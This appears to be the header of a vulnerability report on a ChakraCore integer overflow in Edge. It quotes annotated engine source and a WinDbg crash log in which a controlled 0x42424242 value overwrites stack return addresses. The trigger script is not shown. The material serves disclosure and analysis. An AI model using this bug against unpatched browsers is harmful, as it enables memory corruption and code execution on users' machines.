<!--
Report by Huang Anwen, He Xiaoxiao of ichunqiu Ker Team
There is an overflow when constructoring a new object with arguments which has 0xffff elements in Chakra!
This issue can be reproduced steadly in uptodate Edge in Win10 WIP.
//ChakraCore-master\lib\Runtime\ByteCode\ByteCodeEmitter.cpp
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
Js::ArgSlot argCount = pnode->sxCall.argCount; //pnode->sxCall.argCount=0xFFFF
argCount++; // include "this" //overflow!!!! argCount==0
BOOL fSideEffectArgs = FALSE;
unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
Assert(argCount == tmpCount);
if (argCount != (Js::ArgSlot)argCount)
{
Js::Throw::OutOfMemory();
}
byteCodeGenerator->StartStatement(pnode);
// Start call, allocate out param space
funcInfo->StartRecordingOutArgs(argCount);
// Assign the call target operand(s), putting them into expression temps if necessary to protect
// them from side-effects.
if (fSideEffectArgs)
{
SaveOpndValue(pnode->sxCall.pnodeTarget, funcInfo);
}
if (pnode->sxCall.pnodeTarget->nop == knopSuper)
{
EmitSuperFieldPatch(funcInfo, pnode, byteCodeGenerator);
}
Emit(pnode->sxCall.pnodeTarget, byteCodeGenerator, funcInfo, false, true);
if (pnode->sxCall.pnodeArgs == nullptr)
{
funcInfo->ReleaseLoc(pnode->sxCall.pnodeTarget);
Js::OpCode op = (CreateNativeArrays(byteCodeGenerator, funcInfo)
&& CallTargetIsArray(pnode->sxCall.pnodeTarget))
? Js::OpCode::NewScObjArray : Js::OpCode::NewScObject;
Assert(argCount == 1);
Js::ProfileId callSiteId = byteCodeGenerator->GetNextCallSiteId(op);
byteCodeGenerator->Writer()->StartCall(Js::OpCode::StartCall, argCount);
byteCodeGenerator->Writer()->CallI(op, funcInfo->AcquireLoc(pnode),
pnode->sxCall.pnodeTarget->location, argCount, callSiteId);
}
else
{
byteCodeGenerator->Writer()->StartCall(Js::OpCode::StartCall, argCount);
uint32 actualArgCount = 0;
if (IsCallOfConstants(pnode))
{
funcInfo->ReleaseLoc(pnode->sxCall.pnodeTarget);
actualArgCount = EmitNewObjectOfConstants(pnode, byteCodeGenerator, funcInfo, argCount);
}
else
{
Js::OpCode op;
if ((CreateNativeArrays(byteCodeGenerator, funcInfo) && CallTargetIsArray(pnode->sxCall.pnodeTarget)))
{
op = pnode->sxCall.spreadArgCount > 0 ? Js::OpCode::NewScObjArraySpread : Js::OpCode::NewScObjArray;
}
else
{
op = pnode->sxCall.spreadArgCount > 0 ? Js::OpCode::NewScObjectSpread : Js::OpCode::NewScObject;
}
Js::ProfileId callSiteId = byteCodeGenerator->GetNextCallSiteId(op);
Js::AuxArray<uint32> *spreadIndices = nullptr;
actualArgCount = EmitArgList(pnode->sxCall.pnodeArgs, Js::Constants::NoRegister, Js::Constants::NoRegister, Js::Constants::NoRegister,
false, true, byteCodeGenerator, funcInfo, callSiteId, pnode->sxCall.spreadArgCount, &spreadIndices);
funcInfo->ReleaseLoc(pnode->sxCall.pnodeTarget);
if (pnode->sxCall.spreadArgCount > 0)
{
Assert(spreadIndices != nullptr);
uint spreadExtraAlloc = spreadIndices->count * sizeof(uint32);
uint spreadIndicesSize = sizeof(*spreadIndices) + spreadExtraAlloc;
byteCodeGenerator->Writer()->CallIExtended(op, funcInfo->AcquireLoc(pnode), pnode->sxCall.pnodeTarget->location,
(uint16)actualArgCount, Js::CallIExtended_SpreadArgs,
spreadIndices, spreadIndicesSize, callSiteId);
}
else
{
byteCodeGenerator->Writer()->CallI(op, funcInfo->AcquireLoc(pnode), pnode->sxCall.pnodeTarget->location,
(uint16)actualArgCount, callSiteId);
}
}
Assert(argCount == actualArgCount);
}
// End call, pop param space
funcInfo->EndRecordingOutArgs(argCount);
return;
}
//ChakraCore-master\lib\Runtime\Language\InterpreterStackFrame.cpp
inline void InterpreterStackFrame::SetOut(ArgSlot_OneByte outRegisterID, Var aValue)
{
Assert(m_outParams + outRegisterID < m_outSp);
m_outParams[outRegisterID] = aValue; //OOB Write!!!! outRegisterID could be 0~0xFFFF, but m_outParams has one element only
}
//ChakraCore-master\lib\Runtime\Language\InterpreterStackFrame.cpp
Var InterpreterStackFrame::InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, const bool isAsmJs)
{
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
// Support for simulating partially initialized interpreter stack frame.
InterpreterThunkStackCountTracker tracker;
if (CONFIG_ISENABLED(InjectPartiallyInitializedInterpreterFrameErrorFlag) &&
CONFIG_FLAG(InjectPartiallyInitializedInterpreterFrameError) == InterpreterThunkStackCountTracker::GetCount())
{
switch (CONFIG_FLAG(InjectPartiallyInitializedInterpreterFrameErrorType))
{
case 0:
DebugBreak();
break;
case 1:
Js::JavascriptError::MapAndThrowError(function->GetScriptContext(), VBSERR_InternalError);
break;
default:
DebugBreak();
}
}
#endif
ScriptContext* functionScriptContext = function->GetScriptContext();
ThreadContext * threadContext = functionScriptContext->GetThreadContext();
Assert(!threadContext->IsDisableImplicitException());
functionScriptContext->VerifyAlive(!function->IsExternal());
Assert(threadContext->IsScriptActive());
Assert(threadContext->IsInScript());
FunctionBody* executeFunction = JavascriptFunction::FromVar(function)->GetFunctionBody();
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
if (!isAsmJs && executeFunction->IsInDebugMode() != functionScriptContext->IsScriptContextInDebugMode()) // debug mode mismatch
{
if (executeFunction->GetUtf8SourceInfo()->GetIsLibraryCode())
{
Assert(!executeFunction->IsInDebugMode()); // Library script byteCode is never in debug mode
}
else
{
Throw::FatalInternalError();
}
}
#endif
if (executeFunction->GetInterpretedCount() == 0)
{
executeFunction->TraceInterpreterExecutionMode();
}
class AutoRestore
{
private:
ThreadContext *const threadContext;
const uint8 savedLoopDepth;
public:
AutoRestore(ThreadContext *const threadContext, FunctionBody *const executeFunction)
: threadContext(threadContext),
savedLoopDepth(threadContext->LoopDepth())
{
if (savedLoopDepth != 0 && !executeFunction->GetIsAsmJsFunction())
{
executeFunction->SetWasCalledFromLoop();
}
}
~AutoRestore()
{
threadContext->SetLoopDepth(savedLoopDepth);
}
} autoRestore(threadContext, executeFunction);
#if ENABLE_PROFILE_INFO
DynamicProfileInfo * dynamicProfileInfo = nullptr;
const bool doProfile = executeFunction->GetInterpreterExecutionMode(false) == ExecutionMode::ProfilingInterpreter ||
(executeFunction->IsInDebugMode() && DynamicProfileInfo::IsEnabled(executeFunction));
if (doProfile)
{
#if !DYNAMIC_INTERPRETER_THUNK
executeFunction->EnsureDynamicProfileInfo();
#endif
dynamicProfileInfo = executeFunction->GetDynamicProfileInfo();
threadContext->ClearImplicitCallFlags();
}
#else
const bool doProfile = false;
#endif
executeFunction->IncreaseInterpretedCount();
#ifdef BGJIT_STATS
functionScriptContext->interpretedCount++;
functionScriptContext->maxFuncInterpret = max(functionScriptContext->maxFuncInterpret, executeFunction->GetInterpretedCount());
#endif
AssertMsg(!executeFunction->IsDeferredParseFunction(),
"Non-intrinsic functions must provide byte-code to execute");
executeFunction->BeginExecution();
bool fReleaseAlloc = false;
InterpreterStackFrame* newInstance = nullptr;
Var* allocation = nullptr;
if (!isAsmJs && executeFunction->IsCoroutine())
{
// If the FunctionBody is a generator then this call is being made by one of the three
// generator resuming methods: next(), throw(), or return(). They all pass the generator
// object as the first of two arguments. The real user arguments are obtained from the
// generator object. The second argument is the ResumeYieldData which is only needed
// when resuming a generator and so it only used here if a frame already exists on the
// generator object.
AssertMsg(args.Info.Count == 2, "Generator ScriptFunctions should only be invoked by generator APIs with the pair of arguments they pass in -- the generator object and a ResumeYieldData pointer");
JavascriptGenerator* generator = JavascriptGenerator::FromVar(args[0]);
newInstance = generator->GetFrame();
if (newInstance != nullptr)
{
ResumeYieldData* resumeYieldData = static_cast<ResumeYieldData*>(args[1]);
newInstance->SetNonVarReg(executeFunction->GetYieldRegister(), resumeYieldData);
// The debugger relies on comparing stack addresses of frames to decide when a step_out is complete so
// give the InterpreterStackFrame a legit enough stack address to make this comparison work.
newInstance->m_stackAddress = reinterpret_cast<DWORD_PTR>(&generator);
}
else
{
//
// Allocate a new InterpreterStackFrame instance on the recycler heap.
// It will live with the JavascriptGenerator object.
//
Arguments generatorArgs = generator->GetArguments();
InterpreterStackFrame::Setup setup(function, generatorArgs);
size_t varAllocCount = setup.GetAllocationVarCount();
size_t varSizeInBytes = varAllocCount * sizeof(Var);
DWORD_PTR stackAddr = reinterpret_cast<DWORD_PTR>(&generator); // as mentioned above, use any stack address from this frame to ensure correct debugging functionality
Var loopHeaderArray = executeFunction->GetHasAllocatedLoopHeaders() ? executeFunction->GetLoopHeaderArrayPtr() : nullptr;
allocation = RecyclerNewPlus(functionScriptContext->GetRecycler(), varSizeInBytes, Var);
AnalysisAssert(allocation);
#if DBG
// Allocate invalidVar on GC instead of stack since this InterpreterStackFrame will out live the current real frame
Js::RecyclableObject* invalidVar = (Js::RecyclableObject*)RecyclerNewPlusLeaf(functionScriptContext->GetRecycler(), sizeof(Js::RecyclableObject), Var);
AnalysisAssert(invalidVar);
memset(reinterpret_cast<void*>(invalidVar), 0xFE, sizeof(Js::RecyclableObject));
newInstance = setup.InitializeAllocation(allocation, executeFunction->GetHasImplicitArgIns(), doProfile, loopHeaderArray, stackAddr, invalidVar);
#else
newInstance = setup.InitializeAllocation(allocation, executeFunction->GetHasImplicitArgIns(), doProfile, loopHeaderArray, stackAddr);
#endif
newInstance->m_reader.Create(executeFunction);
generator->SetFrame(newInstance, varSizeInBytes);
}
}
else
{
InterpreterStackFrame::Setup setup(function, args);
size_t varAllocCount = setup.GetAllocationVarCount();
size_t varSizeInBytes = varAllocCount * sizeof(Var);
//
// Allocate a new InterpreterStackFrame instance on the interpreter's virtual stack.
//
DWORD_PTR stackAddr;
// If the locals area exceeds a certain limit, allocate it from a private arena rather than
// this frame. The current limit is based on an old assert on the number of locals we would allow here.
if (varAllocCount > InterpreterStackFrame::LocalsThreshold)
{
ArenaAllocator *tmpAlloc = nullptr;
fReleaseAlloc = functionScriptContext->EnsureInterpreterArena(&tmpAlloc);
allocation = (Var*)tmpAlloc->Alloc(varSizeInBytes);
stackAddr = reinterpret_cast<DWORD_PTR>(&allocation); // use a stack address so the debugger stepping logic works (step-out, for example, compares stack depths to determine when to complete the step)
}
else
{
PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME(functionScriptContext, Js::Constants::MinStackInterpreter + varSizeInBytes);
allocation = (Var*)_alloca(varSizeInBytes);
#if DBG
memset(allocation, 0xFE, varSizeInBytes);
#endif
stackAddr = reinterpret_cast<DWORD_PTR>(allocation);
}
/*
* If the function has any loop headers, we allocate an array for the loop headers wrappers, and
* reference the wrappers in the array. We then push the pointer to the array onto the stack itself.
* We do this so that while the function is being interpreted, we don't want the jitted loop
* bodies to be collected, even if the loop body isn't being executed. The loop body will
* get collected when the function has been JITted, and when the function exits the interpreter.
* The array contains nulls if the loop body isn't jitted (or hasn't been jitted yet) but
* it's cheaper to just copy them all into the recycler array rather than just the ones that
* have been jitted.
*/
Var loopHeaderArray = nullptr;
if (executeFunction->GetHasAllocatedLoopHeaders())
{
// Loop header array is recycler allocated, so we push it on the stack
// When we scan the stack, we'll recognize it as a recycler allocated
// object, and mark it's contents and keep the individual loop header
// wrappers alive
loopHeaderArray = executeFunction->GetLoopHeaderArrayPtr();
}
#if DBG
Js::RecyclableObject * invalidStackVar = (Js::RecyclableObject*)_alloca(sizeof(Js::RecyclableObject));
memset(reinterpret_cast<void*>(invalidStackVar), 0xFE, sizeof(Js::RecyclableObject));
newInstance = setup.InitializeAllocation(allocation, executeFunction->GetHasImplicitArgIns() && !isAsmJs, doProfile, loopHeaderArray, stackAddr, invalidStackVar);
#else
newInstance = setup.InitializeAllocation(allocation, executeFunction->GetHasImplicitArgIns() && !isAsmJs, doProfile, loopHeaderArray, stackAddr);
#endif
newInstance->m_reader.Create(executeFunction);
}
//
// Execute the function's byte-code, returning the return-value:
// - Mark that the function is current executing and may not be modified.
//
#if ENABLE_TTD
TTD::TTDExceptionFramePopper exceptionFramePopper;
if(SHOULD_DO_TTD_STACK_STMT_OP(functionScriptContext))
{
bool isInFinally = ((newInstance->m_flags & Js::InterpreterStackFrameFlags_WithinFinallyBlock) == Js::InterpreterStackFrameFlags_WithinFinallyBlock);
threadContext->TTDExecutionInfo->PushCallEvent(function, args.Info.Count, args.Values, isInFinally);
exceptionFramePopper.PushInfo(threadContext->TTDExecutionInfo, function);
}
#endif
Var aReturn = nullptr;
{
if (!isAsmJs && executeFunction->IsInDebugMode())
{
#if DYNAMIC_INTERPRETER_THUNK
PushPopFrameHelper pushPopFrameHelper(newInstance, returnAddress, addressOfReturnAddress);
aReturn = newInstance->DebugProcess();
#else
aReturn = newInstance->DebugProcessThunk(_ReturnAddress(), _AddressOfReturnAddress());
#endif
}
else
{
#if DYNAMIC_INTERPRETER_THUNK
PushPopFrameHelper pushPopFrameHelper(newInstance, returnAddress, addressOfReturnAddress);
aReturn = newInstance->Process();
#else
aReturn = newInstance->ProcessThunk(_ReturnAddress(), _AddressOfReturnAddress());
#endif
}
}
executeFunction->EndExecution();
#if ENABLE_TTD
if(SHOULD_DO_TTD_STACK_STMT_OP(functionScriptContext))
{
exceptionFramePopper.PopInfo();
threadContext->TTDExecutionInfo->PopCallEvent(function, aReturn);
}
#endif
if (fReleaseAlloc)
{
functionScriptContext->ReleaseInterpreterArena();
}
#if ENABLE_PROFILE_INFO
if (doProfile)
{
dynamicProfileInfo->RecordImplicitCallFlags(threadContext->GetImplicitCallFlags());
}
#endif
if (isAsmJs)
{
return newInstance;
}
return aReturn;
}
Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00007ff6`1e3c0000 00007ff6`1e3e5000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
ModLoad: 00007ffe`a1ea0000 00007ffe`a207b000 C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 00007ffe`a0a70000 00007ffe`a0b1e000 C:\Windows\System32\KERNEL32.DLL
ModLoad: 00007ffe`9e590000 00007ffe`9e7d9000 C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffe`9c900000 00007ffe`9c97e000 C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 00007ffe`a0ee0000 00007ffe`a11d9000 C:\Windows\System32\combase.dll
ModLoad: 00007ffe`9e7e0000 00007ffe`9e8d6000 C:\Windows\System32\ucrtbase.dll
ModLoad: 00007ffe`a0d00000 00007ffe`a0e25000 C:\Windows\System32\RPCRT4.dll
ModLoad: 00007ffe`9ebc0000 00007ffe`9ec2a000 C:\Windows\System32\bcryptPrimitives.dll
ModLoad: 00007ffe`a0c50000 00007ffe`a0ced000 C:\Windows\System32\msvcrt.dll
ModLoad: 00007ffe`98900000 00007ffe`98960000 C:\Windows\SYSTEM32\wincorlib.DLL
ModLoad: 00007ffe`a1de0000 00007ffe`a1ea0000 C:\Windows\System32\OLEAUT32.dll
ModLoad: 00007ffe`9ea70000 00007ffe`9eb0a000 C:\Windows\System32\msvcp_win.dll
ModLoad: 00007ffe`9e330000 00007ffe`9e341000 C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007ffe`7d930000 00007ffe`7dcf4000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\EdgeContent.dll
ModLoad: 00007ffe`9ece0000 00007ffe`9f3d2000 C:\Windows\System32\Windows.Storage.dll
ModLoad: 00007ffe`a0b90000 00007ffe`a0c31000 C:\Windows\System32\advapi32.dll
ModLoad: 00007ffe`9f400000 00007ffe`9f459000 C:\Windows\System32\sechost.dll
ModLoad: 00007ffe`96080000 00007ffe`96306000 C:\Windows\SYSTEM32\iertutil.dll
ModLoad: 00007ffe`a13b0000 00007ffe`a1401000 C:\Windows\System32\shlwapi.dll
ModLoad: 00007ffe`a0e30000 00007ffe`a0eda000 C:\Windows\System32\shcore.dll
ModLoad: 00007ffe`9f460000 00007ffe`9f487000 C:\Windows\System32\GDI32.dll
ModLoad: 00007ffe`9e8e0000 00007ffe`9ea69000 C:\Windows\System32\gdi32full.dll
ModLoad: 00007ffe`a1c90000 00007ffe`a1dda000 C:\Windows\System32\USER32.dll
ModLoad: 00007ffe`9f3e0000 00007ffe`9f3fe000 C:\Windows\System32\win32u.dll
ModLoad: 00007ffe`9e370000 00007ffe`9e3bc000 C:\Windows\System32\powrprof.dll
ModLoad: 00007ffe`9e310000 00007ffe`9e325000 C:\Windows\System32\profapi.dll
ModLoad: 00007ffe`9e210000 00007ffe`9e239000 C:\Windows\SYSTEM32\USERENV.dll
ModLoad: 00007ffe`8d040000 00007ffe`8d066000 C:\Windows\SYSTEM32\clipc.dll
ModLoad: 00007ffe`9d610000 00007ffe`9d641000 C:\Windows\SYSTEM32\ntmarta.dll
ModLoad: 00007ffe`9dd60000 00007ffe`9dd77000 C:\Windows\SYSTEM32\cryptsp.dll
ModLoad: 00007ffe`9d9a0000 00007ffe`9da44000 C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 00007ffe`a18b0000 00007ffe`a191c000 C:\Windows\System32\WS2_32.dll
ModLoad: 00007ffe`a0b20000 00007ffe`a0b28000 C:\Windows\System32\NSI.dll
ModLoad: 00007ffe`a0a40000 00007ffe`a0a6d000 C:\Windows\System32\IMM32.DLL
ModLoad: 00007ffe`9d960000 00007ffe`9d997000 C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 00007ffe`9ccc0000 00007ffe`9ce30000 C:\Windows\SYSTEM32\twinapi.appcore.dll
ModLoad: 00007ffe`9e1e0000 00007ffe`9e205000 C:\Windows\SYSTEM32\bcrypt.dll
ModLoad: 00007ffe`9d440000 00007ffe`9d461000 C:\Windows\SYSTEM32\profext.dll
ModLoad: 00007ffe`8c940000 00007ffe`8c9b4000 C:\Windows\SYSTEM32\msiso.dll
ModLoad: 00007ffe`983e0000 00007ffe`98402000 C:\Windows\SYSTEM32\EShims.dll
ModLoad: 00007ffe`90b10000 00007ffe`90b2b000 C:\Windows\SYSTEM32\MPR.dll
ModLoad: 00007ffe`a1920000 00007ffe`a1a65000 C:\Windows\System32\ole32.dll
ModLoad: 00007ffe`9cab0000 00007ffe`9cb45000 C:\Windows\system32\uxtheme.dll
ModLoad: 00007ffe`8b6f0000 00007ffe`8b791000 C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
ModLoad: 00007ffe`81fa0000 00007ffe`83651000 C:\Windows\SYSTEM32\edgehtml.dll
ModLoad: 00007ffe`9a690000 00007ffe`9a7c9000 C:\Windows\SYSTEM32\wintypes.dll
ModLoad: 00007ffe`915c0000 00007ffe`915ff000 C:\Windows\SYSTEM32\MLANG.dll
ModLoad: 00007ffe`80f50000 00007ffe`8173a000 C:\Windows\SYSTEM32\chakra.dll
ModLoad: 00007ffe`9afe0000 00007ffe`9b056000 C:\Windows\SYSTEM32\policymanager.dll
ModLoad: 00007ffe`9af20000 00007ffe`9afaf000 C:\Windows\SYSTEM32\msvcp110_win.dll
ModLoad: 00007ffe`9b2d0000 00007ffe`9b466000 C:\Windows\SYSTEM32\PROPSYS.dll
ModLoad: 00007ffe`88e90000 00007ffe`88f5b000 C:\Windows\System32\ieproxy.dll
ModLoad: 00007ffe`98590000 00007ffe`98696000 C:\Windows\System32\Windows.UI.dll
ModLoad: 00007ffe`98500000 00007ffe`98582000 C:\Windows\SYSTEM32\TextInputFramework.dll
ModLoad: 00007ffe`99ad0000 00007ffe`99da2000 C:\Windows\SYSTEM32\CoreUIComponents.dll
ModLoad: 00007ffe`9c1d0000 00007ffe`9c2b3000 C:\Windows\SYSTEM32\CoreMessaging.dll
ModLoad: 00007ffe`9ae40000 00007ffe`9ae55000 C:\Windows\SYSTEM32\usermgrcli.dll
ModLoad: 00007ffe`98f20000 00007ffe`99451000 C:\Windows\System32\OneCoreUAPCommonProxyStub.dll
ModLoad: 00007ffe`9b470000 00007ffe`9b49a000 C:\Windows\SYSTEM32\dwmapi.dll
ModLoad: 00007ffe`9f490000 00007ffe`a08c7000 C:\Windows\System32\shell32.dll
ModLoad: 00007ffe`9ec30000 00007ffe`9ec79000 C:\Windows\System32\cfgmgr32.dll
ModLoad: 00007ffe`a08d0000 00007ffe`a0a36000 C:\Windows\System32\msctf.dll
ModLoad: 00007ffe`98700000 00007ffe`98802000 C:\Windows\SYSTEM32\mrmcorer.dll
ModLoad: 00007ffe`8d070000 00007ffe`8d39e000 C:\Windows\SYSTEM32\WININET.dll
ModLoad: 00007ffe`9e240000 00007ffe`9e270000 C:\Windows\SYSTEM32\SspiCli.dll
ModLoad: 00007ffe`98860000 00007ffe`988c9000 C:\Windows\SYSTEM32\Bcp47Langs.dll
ModLoad: 00007ffe`8a7c0000 00007ffe`8a7d0000 C:\Windows\SYSTEM32\tokenbinding.dll
ModLoad: 00007ffe`8d800000 00007ffe`8d81b000 C:\Windows\SYSTEM32\ondemandconnroutehelper.dll
ModLoad: 00007ffe`963d0000 00007ffe`964a7000 C:\Windows\SYSTEM32\winhttp.dll
ModLoad: 00007ffe`9dbc0000 00007ffe`9dc1c000 C:\Windows\system32\mswsock.dll
ModLoad: 00007ffe`9a290000 00007ffe`9a29b000 C:\Windows\SYSTEM32\WINNSI.DLL
ModLoad: 00007ffe`957f0000 00007ffe`959b8000 C:\Windows\SYSTEM32\urlmon.dll
ModLoad: 00007ffe`9dd80000 00007ffe`9dd8b000 C:\Windows\SYSTEM32\CRYPTBASE.DLL
ModLoad: 00007ffe`8ca20000 00007ffe`8ca3a000 C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll
ModLoad: 00007ffe`7fed0000 00007ffe`8005a000 C:\Windows\SYSTEM32\ieapfltr.dll
ModLoad: 00007ffe`999d0000 00007ffe`999ed000 C:\Windows\System32\rmclient.dll
ModLoad: 00007ffe`89aa0000 00007ffe`89ab8000 C:\Windows\System32\UiaManager.dll
ModLoad: 00007ffe`8a860000 00007ffe`8a8a7000 C:\Windows\system32\dataexchange.dll
ModLoad: 00007ffe`9c2c0000 00007ffe`9c3e2000 C:\Windows\SYSTEM32\dcomp.dll
ModLoad: 00007ffe`9b940000 00007ffe`9bc1f000 C:\Windows\SYSTEM32\d3d11.dll
ModLoad: 00007ffe`9d180000 00007ffe`9d224000 C:\Windows\SYSTEM32\dxgi.dll
ModLoad: 00007ffe`8bb90000 00007ffe`8bc12000 C:\Windows\system32\twinapi.dll
ModLoad: 00007ffe`84db0000 00007ffe`84e2a000 C:\Windows\SYSTEM32\windows.ui.core.textinput.dll
ModLoad: 00007ffe`81c30000 00007ffe`81c58000 C:\Windows\SYSTEM32\srpapi.dll
ModLoad: 00007ffe`9e3c0000 00007ffe`9e589000 C:\Windows\System32\CRYPT32.dll
ModLoad: 00007ffe`9e350000 00007ffe`9e361000 C:\Windows\System32\MSASN1.dll
ModLoad: 00007ffe`846e0000 00007ffe`8473a000 C:\Windows\System32\Windows.Graphics.dll
ModLoad: 00007ffe`8cf00000 00007ffe`8cf5d000 C:\Windows\SYSTEM32\ninput.dll
ModLoad: 00007ffe`9bc20000 00007ffe`9c1c4000 C:\Windows\SYSTEM32\d2d1.dll
ModLoad: 00007ffe`943a0000 00007ffe`94660000 C:\Windows\SYSTEM32\DWrite.dll
ModLoad: 00007ffe`81910000 00007ffe`8191f000 C:\Windows\System32\Windows.Internal.SecurityMitigationsBroker.dll
ModLoad: 00007ffe`99510000 00007ffe`99552000 C:\Windows\SYSTEM32\vm3dum64.dll
ModLoad: 00007ffe`994a0000 00007ffe`99507000 C:\Windows\SYSTEM32\D3D10Level9.dll
ModLoad: 00007ffe`8b4b0000 00007ffe`8b51b000 C:\Windows\System32\oleacc.dll
ModLoad: 00007ffe`81bf0000 00007ffe`81c00000 C:\Windows\system32\msimtf.dll
ModLoad: 00007ffe`940f0000 00007ffe`94178000 C:\Windows\system32\directmanipulation.dll
ModLoad: 00007ffe`98170000 00007ffe`98184000 C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll
ModLoad: 00007ffe`81bb0000 00007ffe`81be8000 C:\Windows\System32\smartscreenps.dll
ModLoad: 00007ffe`94210000 00007ffe`94398000 C:\Windows\SYSTEM32\windows.globalization.dll
ModLoad: 00007ffe`8b520000 00007ffe`8b6e5000 C:\Windows\System32\uiautomationcore.dll
(1590.5d8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffe`a1f48d70 cc int 3
0:035> g
onecoreuap\inetcore\urlmon\zones\zoneidentifier.cxx(359)\urlmon.dll!00007FFE958108C0: (caller: 00007FFE9580F77D) ReturnHr(2) tid(b70) 80070002 œµÕ≥’“≤ªµΩ÷∏∂®µƒŒƒº˛°£
(1590.b70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d:
00007ffe`8133ba8d 488904d1 mov qword ptr [rcx+rdx*8],rax ds:000000d8`b8400000=????????????????
0:016> r
rax=0001000042424242 rbx=000002aa98205cbb rcx=000000d8b83f9e98
rdx=0000000000000c2d rsi=0000000000000000 rdi=000002aa98200025
rip=00007ffe8133ba8d rsp=000000d8b83f9bd0 rbp=000000d8b83f9c00
r8=000000d8b83f9d20 r9=000002aa8688fe00 r10=000002aa86879760
r11=000000d8b83f9978 r12=0000000000000000 r13=000002aa8312a270
r14=0000000000000000 r15=000002aa98205cc2
iopl=0 nv up ei pl nz ac pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d:
00007ffe`8133ba8d 488904d1 mov qword ptr [rcx+rdx*8],rax ds:000000d8`b8400000=????????????????
0:016> dq ecx
000000d8`b83f9e98 00000000`00000030 000002aa`86879760
000000d8`b83f9ea8 00010000`42424242 00010000`42424242
000000d8`b83f9eb8 00010000`42424242 00010000`42424242
000000d8`b83f9ec8 00010000`42424242 00010000`42424242
000000d8`b83f9ed8 00010000`42424242 00010000`42424242
000000d8`b83f9ee8 00010000`42424242 00010000`42424242
000000d8`b83f9ef8 00010000`42424242 00010000`42424242
000000d8`b83f9f08 00010000`42424242 00010000`42424242
0:016> dq [ecx+edx*8]
000000d8`b8400000 ????????`???????? ????????`????????
000000d8`b8400010 ????????`???????? ????????`????????
000000d8`b8400020 ????????`???????? ????????`????????
000000d8`b8400030 ????????`???????? ????????`????????
000000d8`b8400040 ????????`???????? ????????`????????
000000d8`b8400050 ????????`???????? ????????`????????
000000d8`b8400060 ????????`???????? ????????`????????
000000d8`b8400070 ????????`???????? ????????`????????
0:016> !address 000000d8`b8400000
Usage:
Allocation Base: 000000d8`b8400000
Base Address: 000000d8`b8400000
End Address: 000000d8`b84fc000
Region Size: 00000000`000fc000
Type: 00020000 MEM_PRIVATE
State: 00002000 MEM_RESERVE
Protect: 00000000
More info: ~17k
0:016> !address ecx
Usage: Stack
Allocation Base: 000000d8`b7a00000
Base Address: 000000d8`b83f4000
End Address: 000000d8`b8400000
Region Size: 00000000`0000c000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: ~16k
0:016> kb
RetAddr : Args to Child : Call Site
00007ffe`8120a2a5 : 000000d8`b83f9d20 000002aa`98205cbb 000000d8`b83f9c60 000002aa`98205cbb : chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d
00007ffe`810fa321 : 000000d8`b83f9d20 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x10fec5
00007ffe`8102aeac : 000000d8`b83f9d20 000002aa`96ad0000 000000d8`b83f9ea0 000002aa`8312dc00 : chakra!Js::InterpreterStackFrame::Process+0x1b1
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
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00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
00010000`42424242 : 00010000`42424242 00010000`42424242 00010000`42424242 00010000`42424242 : 0x10000`42424242
